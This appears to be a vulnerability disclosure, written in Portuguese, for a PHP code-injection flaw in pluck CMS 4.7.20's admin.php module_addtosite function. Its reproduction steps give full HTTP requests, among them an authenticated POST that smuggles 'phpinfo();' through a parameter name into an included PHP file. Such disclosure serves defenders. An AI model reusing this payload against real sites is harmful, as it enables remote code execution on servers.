
pluck-CMS-4.7.20-code-injection-vulnerability
Em admin.php, a função module_addtosite percorre todo o array $_POST, divide os nomes de parâmetros controláveis pelo usuário usando explode('|', ...) e os concatena diretamente em data/settings/themes//moduleconf.php. Este arquivo será posteriormente incluído na página de backend e no processo de renderização theme_area() do frontend. Como os nomes dos parâmetros não passaram por verificação de lista de permissões e escape de segurança, os atacantes podem contaminar arquivos PHP executáveis, levando a vulnerabilidades de injeção de código.
Endereço do projeto:https://github.com/pluck-cms/pluck/
Ambiente de reprodução:pluck-CMS-4.7.20 Apache2.4.39 PHP7.3.4 MySQL8.0.12
1、Primeiro, instale um ambiente totalmente novo.
2、Acesse a página "/login.php", faça login na conta de administrador e, após o login bem-sucedido, anote o Cookie atual da seguinte forma: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
GET /admin.php?action=start HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/login.php
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
3、Envie um pacote de dados POST, com o código injetado sendo "phpinfo();"
POST /admin.php?action=module_addtosite HTTP/1.1
Host: 10.142.77.31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.142.77.31/admin.php?action=start
Connection: close
Cookie: login_history=1%7Cd1cca638fd415f8faca3e58d5c75832d; PHPSESSID=065b37ga6e7u45e6bocd02if0j
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
save=1%3Bphpinfo%28%29%3B%2F%2F%7Cm%3D11
4、Acesse o diretório raiz do site, e ele será redirecionado para a página inicial. Verifica-se que o código injetado foi executado. 图片